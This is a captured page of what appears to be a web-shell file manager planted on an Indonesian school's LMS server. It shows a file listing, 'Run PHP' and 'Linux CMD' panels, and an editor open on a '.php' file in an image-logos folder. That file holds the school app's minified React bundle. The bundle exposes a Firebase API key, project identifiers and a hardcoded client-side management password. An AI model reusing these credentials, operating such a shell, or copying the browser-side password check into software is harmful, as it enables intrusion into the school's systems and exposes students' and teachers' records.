๐ File Manager
๐
/
/
home
/
u449181296
/
domains
/
birulogi.smakpbaleendah.sch.id
/
public_html
/
lms
/
tukang-ngatur
/
assets
/
img
/
qr-logos
/home/u449181296/domains/birulogi.smakpbaleendah.sch.id/public_html/lms/tukang-ngatur/assets/img/qr-logos
Upload
Name
Size
Date
CHMOD
Action
โ FILE โ
logo_1773801405.php
6.73 KB
2026-03-18 02:36
644
(rw-r--r--)
Edit
|
Rename
|
Preview
|
Del
Edit
const __vite__mapDeps=(i,m=__vite__mapDeps,d=(m.f||(m.f=["assets/Login-CvQvsaDN.js","assets/react-vendor-Cdu9POhR.js","assets/firebase-vendor-Cr1os6Vr.js","assets/router-vendor-EW88JuZe.js","assets/pdf-vendor-BoEiDn9A.js","assets/TeacherPanel-81-E2XM3.js","assets/xlsx-BBWTpfDg.js","assets/studentIdentity-CvcNiiMo.js","assets/workflowPersistence-CJ0D9ch6.js","assets/exportHelpers-Cejv61rR.js","assets/SarprasWorkspace-DhSPZjAw.js","assets/teacherQrAttendance-CbdXcdgp.js","assets/GuruPiketPanel-MxA5rZUf.js","assets/PiketAttendanceRecap-BN62_QBO.js","assets/teacherAttendance-D2qJiZIy.js","assets/Pic5SPanel-B9vIg9zR.js","assets/WaliKelasPanel-CT0Neg2U.js","assets/monthlyReports-PaugBugx.js","assets/CoachingMinutesModule-DkuheIFW.js","assets/finance-B2OdWnvh.js","assets/BKPanel-BGaPdB1N.js","assets/studentMonitoring-DCfdCpPS.js","assets/KesiswaanPanel-D_XBzjh9.js","assets/KurikulumPanel-Bdy5e1x4.js","assets/Dashboard-IQYHDz7n.js","assets/RunningTextMarquee-CokSy547.js","assets/Management-C1RvH1Jt.js","assets/genai-vendor-caxStTHX.js","assets/AttendanceCheck-DkVqQbzt.js","assets/FinanceWorkspace-BA2YupFc.js","assets/recharts-vendor-Djk81EG8.js","assets/StudentApp-MWAf09TJ.js","assets/Guide-B8LyQyNp.js","assets/SarprasPanel-CBktjJP-.js","assets/PrincipalPanel-DEkJWUjm.js","assets/FinancePanel-B-bccZpS.js"])))=>i.map(i=>d[i]); import{r as c,j as e,c as he,d as pe}from"./react-vendor-Cdu9POhR.js";import{_ as m}from"./pdf-vendor-BoEiDn9A.js";import{i as me,g as xe,a as ue,c as t,b as V,p as ge,d as je,m as fe,o as _e}from"./firebase-vendor-Cr1os6Vr.js";import{u as q,L as H,H as be,R as ke,a as p,N as l}from"./router-vendor-EW88JuZe.js";(function(){const i=document.createElement("link").relList;if(i&&i.supports&&i.supports("modulepreload"))return;for(const n of document.querySelectorAll('link[rel="modulepreload"]'))u(n);new MutationObserver(n=>{for(const d of n)if(d.type==="childList")for(const r of d.addedNodes)r.tagName==="LINK"&&r.rel==="modulepreload"&&u(r)}).observe(document,{childList:!0,subtree:!0});function x(n){const d={};return n.integrity&&(d.integrity=n.integrity),n.referrerPolicy&&(d.referrerPolicy=n.referrerPolicy),n.crossOrigin==="use-credentials"?d.credentials="include":n.crossOrigin==="anonymous"?d.credentials="omit":d.credentials="same-origin",d}function u(n){if(n.ep)return;n.ep=!0;const d=x(n);fetch(n.href,d)}})();const we={apiKey:"AIzaSyDJMvA8kK8Rf0DIaVeFWH4UPX9uxBtq3rk",authDomain:"selaras-49d45.firebaseapp.com",projectId:"selaras-49d45",storageBucket:"selaras-49d45.firebasestorage.app",messagingSenderId:"947681355328",appId:"1:947681355328:web:de1627b5ae14f3e28661a5"},z=me(we),ye=()=>{try{return V(z,{localCache:ge({tabManager:je()})})}catch(a){return console.warn("Fallback ke cache memori Firestore.",a),V(z,{localCache:fe()})}},s=ye();xe(z);const Qe=ue(z),Ye=t(s,"teachers"),Ae=t(s,"classes"),$e=t(s,"sessions"),Ze=t(s,"schedules"),ea=t(s,"grades"),aa=t(s,"portal_accounts"),ta=t(s,"daily_class_attendance"),sa=t(s,"teacher_daily_attendance"),oa=t(s,"daily_piket_notes"),na=t(s,"piket_5s_settings"),la=t(s,"piket_5s_reports"),ra=t(s,"student_behavior_notes"),ca=t(s,"student_case_notes"),ia=t(s,"student_followups"),da=t(s,"curriculum_monthly_configs"),ha=t(s,"wali_monthly_reports");t(s,"master_record_categories");t(s,"master_record_subcategories");const pa=t(s,"student_records"),ma=t(s,"student_cases"),xa=t(s,"student_case_events"),ua=t(s,"student_profiles"),ga=t(s,"coaching_minutes"),ja=t(s,"document_templates"),fa=t(s,"generated_documents"),_a=t(s,"rooms"),ba=t(s,"assets"),ka=t(s,"furnitures"),wa=t(s,"facility_reports"),ya=t(s,"financial_records"),Aa=t(s,"extracurricular_masters"),Pa=t(s,"extracurricular_records"),Sa=t(s,"achievement_records"),Ca=t(s,"scholarship_records"),va=t(s,"teacher_attendance_settings");t(s,"teacher_attendance_month_locks");t(s,"teacher_attendance_audit_logs");const Na=t(s,"teacher_attendance_qr_codes"),Ea=t(s,"teacher_barcode_cards"),La=t(s,"teacher_scan_logs"),Ta=t(s,"teacher_presence_logs"),Pe=({user:a,onLogout:i})=>{var L,T,h,f,_,R,I,K;const x=q(),[u,n]=c.useState(!1),[d,r]=c.useState(!1),S=x.pathname==="/admin-selaras"||x.pathname==="/management",w=(a==null?void 0:a.role)==="teacher"&&((L=a.data)==null?void 0:L.portalType)==="guru_piket_shared",k=(a==null?void 0:a.role)==="teacher"&&((T=a.data)==null?void 0:T.portalType)==="pic_5s_shared",g=w||k,C=(a==null?void 0:a.role)==="teacher"&&!!((h=a.data)!=null&&h.isBkTeacher)&&!g,j=(a==null?void 0:a.role)==="teacher"&&!!((f=a.data)!=null&&f.isKesiswaanTeacher)&&!g,v=(a==null?void 0:a.role)==="teacher"&&!!((_=a.data)!=null&&_.isCurriculumTeacher)&&!g,N=(a==null?void 0:a.role)==="teacher"&&!!((R=a.data)!=null&&R.isSarprasTeacher)&&!k,y=(a==null?void 0:a.role)==="teacher"&&!!((I=a.data)!=null&&I.isPrincipalTeacher)&&!g,A=(a==null?void 0:a.role)==="teacher"&&!!((K=a.data)!=null&&K.isFinanceTeacher)&&!g;c.useEffect(()=>{var M,D;if((a==null?void 0:a.role)!=="teacher"||g){r(!1);return}const b=((M=a.data)==null?void 0:M.id)||"",P=(((D=a.data)==null?void 0:D.name)||"").trim().toLowerCase(),O=_e(Ae,B=>{const G=B.docs.some(de=>{const F=de.data();return F.waliKelasTeacherId&&F.waliKelasTeacherId===b?!0:!F.waliKelasTeacherId&&(F.waliKelasTeacherName||"").trim().toLowerCase()===P});r(G)});return()=>{O()}},[a,g]);const E=b=>x.pathname===b,o=({to:b,label:P})=>e.jsxs(H,{to:b,onClick:()=>n(!1),className:`relative px-4 py-2 text-sm font-semibold transition-all duration-300 rounded-lg ${E(b)?"text-blue-700 bg-blue-50":"text-gray-500 hover:text-blue-600 hover:bg-gray-50"}`,children:[P,E(b)&&e.jsx("span",{className:"absolute bottom-0 left-1/2 -translate-x-1/2 w-1 h-1 bg-blue-600 rounded-full"})]});return e.jsxs("nav",{className:"glass sticky top-0 z-[100] border-b border-gray-100",children:[e.jsxs("div",{className:"container mx-auto px-4 h-20 flex items-center justify-between",children:[e.jsxs(H,{to:"/",className:"flex items-center space-x-3 group",children:[e.jsxs("div",{className:"relative",children:[e.jsx("div",{className:"absolute inset-0 bg-blue-200 blur-lg rounded-full opacity-0 group-hover:opacity-40 transition-opacity"}),e.jsx("img",{src:"/logo.png",alt:"Logo",className:"h-12 w-auto relative z-10"})]}),e.jsxs("div",{className:"flex flex-col",children:[e.jsx("span",{className:"text-blue-900 font-extrabold text-xl tracking-tight leading-none",children:"SELARAS"}),e.jsx("span",{className:"text-gray-400 text-[9px] font-bold tracking-[0.2em] uppercase",children:S?"ADMIN SISTEM":w?"PORTAL GURU PIKET":k?"PORTAL PIC 5S":y?"PORTAL KEPALA SEKOLAH":A?"PORTAL KEUANGAN":(a==null?void 0:a.role)==="teacher"?"PORTAL GURU":(a==null?void 0:a.role)==="student"?"PORTAL SISWA":"SMA KP BALEENDAH"})]})]}),e.jsxs("div",{className:"hidden lg:flex items-center space-x-2",children:[e.jsx(o,{to:"/",label:"Dashboard"}),(a==null?void 0:a.role)==="teacher"&&!g&&e.jsxs(e.Fragment,{children:[e.jsx(o,{to:"/panel",label:"Panel Guru"}),y&&e.jsx(o,{to:"/kepala-sekolah",label:"Kepala Sekolah"}),A&&e.jsx(o,{to:"/keuangan",label:"Keuangan"}),d&&e.jsx(o,{to:"/wali-kelas",label:"Wali Kelas"}),C&&e.jsx(o,{to:"/bk",label:"Guru BK"}),j&&e.jsx(o,{to:"/kesiswaan",label:"Kesiswaan"}),v&&e.jsx(o,{to:"/kurikulum",label:"Kurikulum"}),e.jsx(o,{to:"/sarpras",label:N?"Sarpras":"Lapor Sarpras"})]}),(a==null?void 0:a.role)==="teacher"&&w&&e.jsxs(e.Fragment,{children:[e.jsx(o,{to:"/guru-piket",label:"Guru Piket"}),e.jsx(o,{to:"/sarpras",label:"Lapor Sarpras"})]}),(a==null?void 0:a.role)==="teacher"&&k&&e.jsx(e.Fragment,{children:e.jsx(o,{to:"/pic-5s",label:"PIC 5S"})}),(a==null?void 0:a.role)==="student"&&e.jsx(o,{to:"/student",label:"Panel Siswa"}),a?e.jsxs(e.Fragment,{children:[e.jsx("div",{className:"h-6 w-[1px] bg-gray-200 mx-4"}),e.jsx("button",{onClick:()=>{confirm("Yakin ingin keluar?")&&i()},className:"bg-red-600 text-white px-5 py-2.5 rounded-xl text-xs font-bold hover:bg-red-700 transition-all shadow-lg",children:"Keluar"})]}):e.jsxs(e.Fragment,{children:[e.jsx(o,{to:"/login",label:"Masuk Guru"}),e.jsx(o,{to:"/student",label:"Masuk Siswa"}),S&&e.jsx(o,{to:"/management",label:"Manajemen"})]})]}),e.jsx("button",{onClick:()=>n(!u),className:"lg:hidden p-2 text-gray-600 hover:bg-gray-100 rounded-xl",children:e.jsx("svg",{className:"w-6 h-6",fill:"none",stroke:"currentColor",viewBox:"0 0 24 24",children:e.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",strokeWidth:"2",d:u?"M6 18L18 6M6 6l12 12":"M4 6h16M4 12h16M4 18h16"})})})]}),u&&e.jsxs("div",{className:"lg:hidden animate-fade-in px-4 pb-6 pt-2 bg-white border-b space-y-2 flex flex-col shadow-2xl",children:[e.jsx(o,{to:"/",label:"Dashboard"}),a?e.jsxs(e.Fragment,{children:[a.role==="teacher"?w?e.jsxs(e.Fragment,{children:[e.jsx(o,{to:"/guru-piket",label:"Guru Piket"}),e.jsx(o,{to:"/sarpras",label:"Lapor Sarpras"})]}):k?e.jsx(e.Fragment,{children:e.jsx(o,{to:"/pic-5s",label:"PIC 5S"})}):e.jsxs(e.Fragment,{children:[e.jsx(o,{to:"/panel",label:"Panel Guru"}),y&&e.jsx(o,{to:"/kepala-sekolah",label:"Kepala Sekolah"}),A&&e.jsx(o,{to:"/keuangan",label:"Keuangan"}),d&&e.jsx(o,{to:"/wali-kelas",label:"Wali Kelas"}),C&&e.jsx(o,{to:"/bk",label:"Guru BK"}),j&&e.jsx(o,{to:"/kesiswaan",label:"Kesiswaan"}),v&&e.jsx(o,{to:"/kurikulum",label:"Kurikulum"}),e.jsx(o,{to:"/sarpras",label:N?"Sarpras":"Lapor Sarpras"})]}):e.jsx(o,{to:"/student",label:"Panel Siswa"}),e.jsx("button",{onClick:i,className:"mt-4 w-full bg-red-50 text-red-600 py-3 rounded-xl font-bold",children:"Keluar"})]}):e.jsxs(e.Fragment,{children:[e.jsx(o,{to:"/login",label:"Masuk Guru"}),e.jsx(o,{to:"/student",label:"Masuk Siswa"}),S&&e.jsx(o,{to:"/management",label:"Manajemen"})]})]})]})},Se=()=>e.jsx("footer",{className:"bg-white border-t py-10",children:e.jsxs("div",{className:"container mx-auto px-4 flex flex-col items-center justify-center space-y-4",children:[e.jsxs("div",{className:"flex flex-col items-center space-y-1",children:[e.jsx("p",{className:"text-slate-400 text-sm font-bold tracking-tight",children:"Sistem Laporan Ruang Ajar Siswa"}),e.jsx("p",{className:"text-slate-400 text-sm font-bold tracking-tight",children:"SELARAS X AFM07"}),e.jsx("p",{className:"text-slate-300 text-[10px] uppercase tracking-[0.3em] font-black",children:"ยฉ 2026 SMA KP BALEENDAH"})]}),e.jsx("div",{className:"pt-2"})]})}),Ce=()=>m(()=>import("./Login-CvQvsaDN.js"),__vite__mapDeps([0,1,2,3,4])),J=()=>m(()=>import("./TeacherPanel-81-E2XM3.js"),__vite__mapDeps([5,1,6,7,8,2,9,10,11,4,3])),X=()=>m(()=>import("./GuruPiketPanel-MxA5rZUf.js"),__vite__mapDeps([12,1,13,6,7,2,14,4,3])),Q=()=>m(()=>import("./Pic5SPanel-B9vIg9zR.js"),__vite__mapDeps([15,1,2,4,3])),Y=()=>m(()=>import("./WaliKelasPanel-CT0Neg2U.js"),__vite__mapDeps([16,1,6,8,2,17,18,10,7,19,4,3])),$=()=>m(()=>import("./BKPanel-BGaPdB1N.js"),__vite__mapDeps([20,1,6,7,8,2,18,21,9,4,3])),Z=()=>m(()=>import("./KesiswaanPanel-D_XBzjh9.js"),__vite__mapDeps([22,1,6,7,8,2,18,21,4,3])),ee=()=>m(()=>import("./KurikulumPanel-Bdy5e1x4.js"),__vite__mapDeps([23,1,6,17,7,13,2,14,4,3])),ae=()=>m(()=>import("./Dashboard-IQYHDz7n.js"),__vite__mapDeps([24,1,25,7,2,4,3])),te=()=>m(()=>import("./Management-C1RvH1Jt.js"),__vite__mapDeps([26,1,6,27,25,28,7,13,2,4,3,29,19,30,14,11])),se=()=>m(()=>import("./AttendanceCheck-DkVqQbzt.js"),__vite__mapDeps([28,1,6,7,13,2,4,3])),oe=()=>m(()=>import("./StudentApp-MWAf09TJ.js"),__vite__mapDeps([31,1,7,2,4,10,6,19,3])),ne=()=>m(()=>import("./Guide-B8LyQyNp.js"),__vite__mapDeps([32,1,4])),le=()=>m(()=>import("./SarprasPanel-CBktjJP-.js"),__vite__mapDeps([33,1,10,6,7,2,4,3])),re=()=>m(()=>import("./PrincipalPanel-DEkJWUjm.js"),__vite__mapDeps([34,1,7,19,30,2,4,3])),ce=()=>m(()=>import("./FinancePanel-B-bccZpS.js"),__vite__mapDeps([35,1,29,6,19,30,2,4,3])),ve=c.lazy(Ce),Ne=c.lazy(J),Ee=c.lazy(X),Le=c.lazy(Q),Te=c.lazy(Y),Re=c.lazy($),Ie=c.lazy(Z),Ke=c.lazy(ee),W=c.lazy(ae),Me=c.lazy(te);c.lazy(se);const De=c.lazy(oe),Oe=c.lazy(ne),Be=c.lazy(le),Fe=c.lazy(re),ze=c.lazy(ce);class Ge extends c.Component{constructor(i){super(i),this.handleReload=()=>{typeof window<"u"&&window.location.reload()},this.state={hasError:!1,errorMessage:""}}static getDerivedStateFromError(i){return{hasError:!0,errorMessage:i instanceof Error?i.message:"Terjadi kesalahan tak terduga."}}componentDidCatch(i,x){console.error("RouteErrorBoundary menangkap error",i,x)}render(){return this.state.hasError?e.jsx("div",{className:"max-w-3xl mx-auto px-4 py-12",children:e.jsxs("div",{className:"bg-white border border-red-100 rounded-[2rem] shadow-xl p-8 text-center",children:[e.jsx("p",{className:"text-[10px] font-black uppercase tracking-[0.3em] text-red-400",children:"SELARAS"}),e.jsx("h2",{className:"mt-3 text-2xl font-black text-slate-800",children:this.props.title}),e.jsx("p",{className:"mt-3 text-sm font-medium text-slate-500",children:this.props.description}),this.state.errorMessage?e.jsxs("p",{className:"mt-4 text-xs font-bold text-red-500",children:["Detail: ",this.state.errorMessage]}):null,e.jsxs("div",{className:"mt-6 flex flex-col sm:flex-row justify-center gap-3",children:[e.jsx("button",{type:"button",onClick:this.handleReload,className:"px-5 py-3 rounded-2xl bg-slate-900 text-white font-black shadow-lg hover:bg-slate-700 transition-colors",children:"Muat ulang halaman"}),e.jsx("button",{type:"button",onClick:()=>{typeof window<"u"&&(sessionStorage.removeItem("selaras_management_access"),window.location.hash="#/login")},className:"px-5 py-3 rounded-2xl bg-slate-100 text-slate-700 font-black shadow-sm hover:bg-slate-200 transition-colors",children:"Kembali ke login"})]})]})}):this.props.children}}const Ve=({user:a,onLogout:i,children:x})=>{const n=q().pathname.startsWith("/student")&&(!a||a.role!=="student");return e.jsxs(e.Fragment,{children:[!n&&e.jsx(Pe,{user:a,onLogout:i}),x]})},U=({children:a,user:i})=>{const[x,u]=c.useState(()=>typeof window>"u"?!1:sessionStorage.getItem("selaras_management_access")==="authorized"),[n,d]=c.useState("");return c.useEffect(()=>{var r;(i==null?void 0:i.role)==="teacher"&&((r=i.data)!=null&&r.isAdmin)&&(u(!0),typeof window<"u"&&sessionStorage.setItem("selaras_management_access","authorized"))},[i]),x?e.jsx(e.Fragment,{children:a}):e.jsx("div",{className:"max-w-md mx-auto mt-20 p-4",children:e.jsxs("div",{className:"bg-white p-10 rounded-3xl shadow-xl text-center",children:[e.jsx("h2",{className:"text-xl font-black mb-6",children:"Gerbang Manajemen"}),e.jsxs("form",{onSubmit:r=>{r.preventDefault(),n==="kulubhui"?(u(!0),typeof window<"u"&&sessionStorage.setItem("selaras_management_access","authorized")):alert("Sandi salah")},children:[e.jsx("input",{type:"password",value:n,onChange:r=>d(r.target.value),className:"w-full mb-4 px-4 py-3 rounded-xl border",placeholder:"Katasandi"}),e.jsx("button",{className:"w-full bg-slate-900 text-white py-3 rounded-xl font-black",children:"Buka"})]})]})})},He=()=>{var v,N,y,A,E,o,L,T;const[a,i]=c.useState(()=>{if(typeof window>"u")return null;try{const h=localStorage.getItem("selaras_auth");return h?JSON.parse(h):null}catch{return null}});c.useEffect(()=>{var R,I,K,b,P,O,M,D,B;if(!a)return;const h=[ae,ne];a.role==="student"?h.push(oe):(h.push(J,Y),((R=a.data)==null?void 0:R.portalType)==="guru_piket_shared"&&h.push(X),((I=a.data)==null?void 0:I.portalType)==="pic_5s_shared"&&h.push(Q),(K=a.data)!=null&&K.isBkTeacher&&h.push($),(b=a.data)!=null&&b.isKesiswaanTeacher&&h.push(Z),(P=a.data)!=null&&P.isCurriculumTeacher&&h.push(ee),(O=a.data)!=null&&O.isSarprasTeacher&&h.push(le),(M=a.data)!=null&&M.isPrincipalTeacher&&h.push(re),(D=a.data)!=null&&D.isFinanceTeacher&&h.push(ce),(B=a.data)!=null&&B.isAdmin&&h.push(te,se));const f=()=>{h.forEach(G=>{G().catch(()=>{})})},_=typeof window<"u"?"requestIdleCallback"in window?window.requestIdleCallback(f,{timeout:1200}):window.setTimeout(f,500):void 0;return()=>{typeof window>"u"||_===void 0||("cancelIdleCallback"in window&&typeof _=="number"?window.cancelIdleCallback(_):window.clearTimeout(_))}},[a]);const x=(h,f)=>{const _={role:h,data:f};i(_),localStorage.setItem("selaras_auth",JSON.stringify(_)),typeof window<"u"&&!(f!=null&&f.isAdmin)&&sessionStorage.removeItem("selaras_management_access")},u=()=>{i(null),localStorage.removeItem("selaras_auth"),typeof window<"u"&&sessionStorage.removeItem("selaras_management_access")},n=(a==null?void 0:a.role)==="teacher"&&((v=a.data)==null?void 0:v.portalType)==="guru_piket_shared",d=(a==null?void 0:a.role)==="teacher"&&((N=a.data)==null?void 0:N.portalType)==="pic_5s_shared",r=n||d,S=(a==null?void 0:a.role)==="teacher"&&!!((y=a.data)!=null&&y.isBkTeacher)&&!r,w=(a==null?void 0:a.role)==="teacher"&&!!((A=a.data)!=null&&A.isKesiswaanTeacher)&&!r,k=(a==null?void 0:a.role)==="teacher"&&!!((E=a.data)!=null&&E.isCurriculumTeacher)&&!r;(a==null?void 0:a.role)==="teacher"&&((o=a.data)!=null&&o.isSarprasTeacher);const g=(a==null?void 0:a.role)==="teacher"&&!!((L=a.data)!=null&&L.isPrincipalTeacher)&&!r,C=(a==null?void 0:a.role)==="teacher"&&!!((T=a.data)!=null&&T.isFinanceTeacher)&&!r,j=()=>n?"/guru-piket":d?"/pic-5s":g?"/kepala-sekolah":C?"/keuangan":"/panel";return e.jsx(be,{children:e.jsxs("div",{className:"flex flex-col min-h-screen",children:[e.jsx(Ve,{user:a,onLogout:u,children:e.jsx("main",{className:"flex-grow container mx-auto px-4 py-8",children:e.jsx(c.Suspense,{fallback:e.jsx("div",{className:"max-w-4xl mx-auto px-4 py-12",children:e.jsxs("div",{className:"bg-white border border-slate-100 rounded-[2rem] shadow-xl p-8 text-center",children:[e.jsx("p",{className:"text-[10px] font-black uppercase tracking-[0.3em] text-slate-400",children:"SELARAS"}),e.jsx("h2",{className:"mt-3 text-2xl font-black text-slate-800",children:"Memuat panel..."}),e.jsx("p",{className:"mt-2 text-sm font-medium text-slate-500",children:"Sistem sedang menyiapkan modul yang Anda buka."})]})}),children:e.jsxs(ke,{children:[e.jsx(p,{path:"/",element:e.jsx(W,{})}),e.jsx(p,{path:"/guide",element:e.jsx(Oe,{})}),e.jsx(p,{path:"/attendance-check",element:e.jsx(l,{to:"/management",replace:!0})}),e.jsx(p,{path:"/login",element:(a==null?void 0:a.role)==="teacher"?e.jsx(l,{to:j()}):e.jsx(ve,{onLogin:h=>x("teacher",h)})}),e.jsx(p,{path:"/student",element:e.jsx(De,{})}),e.jsx(p,{path:"/panel",element:(a==null?void 0:a.role)==="teacher"?r?e.jsx(l,{to:j()}):e.jsx(Ne,{teacher:a.data}):e.jsx(l,{to:"/login"})}),e.jsx(p,{path:"/guru-piket",element:(a==null?void 0:a.role)==="teacher"?n?e.jsx(Ee,{teacher:a.data}):e.jsx(l,{to:d?"/pic-5s":"/panel"}):e.jsx(l,{to:"/login"})}),e.jsx(p,{path:"/pic-5s",element:(a==null?void 0:a.role)==="teacher"?d?e.jsx(Le,{teacher:a.data}):e.jsx(l,{to:n?"/guru-piket":"/panel"}):e.jsx(l,{to:"/login"})}),e.jsx(p,{path:"/wali-kelas",element:(a==null?void 0:a.role)==="teacher"?r?e.jsx(l,{to:j()}):e.jsx(Te,{teacher:a.data}):e.jsx(l,{to:"/login"})}),e.jsx(p,{path:"/bk",element:(a==null?void 0:a.role)==="teacher"?r?e.jsx(l,{to:j()}):S?e.jsx(Re,{teacher:a.data}):e.jsx(l,{to:"/panel"}):e.jsx(l,{to:"/login"})}),e.jsx(p,{path:"/kesiswaan",element:(a==null?void 0:a.role)==="teacher"?r?e.jsx(l,{to:j()}):w?e.jsx(Ie,{teacher:a.data}):e.jsx(l,{to:"/panel"}):e.jsx(l,{to:"/login"})}),e.jsx(p,{path:"/sarpras",element:(a==null?void 0:a.role)==="teacher"?d?e.jsx(l,{to:"/pic-5s"}):e.jsx(Be,{teacher:a.data}):e.jsx(l,{to:"/login"})}),e.jsx(p,{path:"/kepala-sekolah",element:(a==null?void 0:a.role)==="teacher"?r?e.jsx(l,{to:j()}):g?e.jsx(Fe,{teacher:a.data}):e.jsx(l,{to:"/panel"}):e.jsx(l,{to:"/login"})}),e.jsx(p,{path:"/keuangan",element:(a==null?void 0:a.role)==="teacher"?r?e.jsx(l,{to:j()}):C?e.jsx(ze,{teacher:a.data}):e.jsx(l,{to:"/panel"}):e.jsx(l,{to:"/login"})}),e.jsx(p,{path:"/kurikulum",element:(a==null?void 0:a.role)==="teacher"?r?e.jsx(l,{to:j()}):k?e.jsx(Ke,{teacher:a.data}):e.jsx(l,{to:"/panel"}):e.jsx(l,{to:"/login"})}),e.jsx(p,{path:"/admin-selaras",element:e.jsx(U,{user:a,children:e.jsx(W,{})})}),e.jsx(p,{path:"/management",element:e.jsx(U,{user:a,children:e.jsx(Ge,{title:"Panel manajemen gagal dimuat",description:"Sistem mencegah layar kosong. Silakan muat ulang halaman. Jika cache browser masih lama, masuk ulang lalu buka panel manajemen kembali.",children:e.jsx(Me,{})})})}),e.jsx(p,{path:"*",element:e.jsx(l,{to:"/"})})]})})})}),e.jsx(Se,{})]})})},ie=document.getElementById("root");if(!ie)throw new Error("Could not find root element to mount to");const We=he.createRoot(ie);We.render(e.jsx(pe.StrictMode,{children:e.jsx(He,{})}));export{fa as A,ja as B,ga as C,va as D,oa as E,ea as F,Ea as G,aa as H,na as I,_a as J,ba as K,ka as L,wa as M,ca as a,pa as b,Ae as c,s as d,Ze as e,Na as f,Ta as g,ua as h,ma as i,La as j,sa as k,ta as l,ra as m,ya as n,ia as o,la as p,da as q,Qe as r,$e as s,Ye as t,xa as u,Aa as v,ha as w,Pa as x,Sa as y,Ca as z};
Save
๐งช PHP Preview
<?php echo 'hello'; ?>
Run PHP
๐ฅ Linux CMD
Run CMD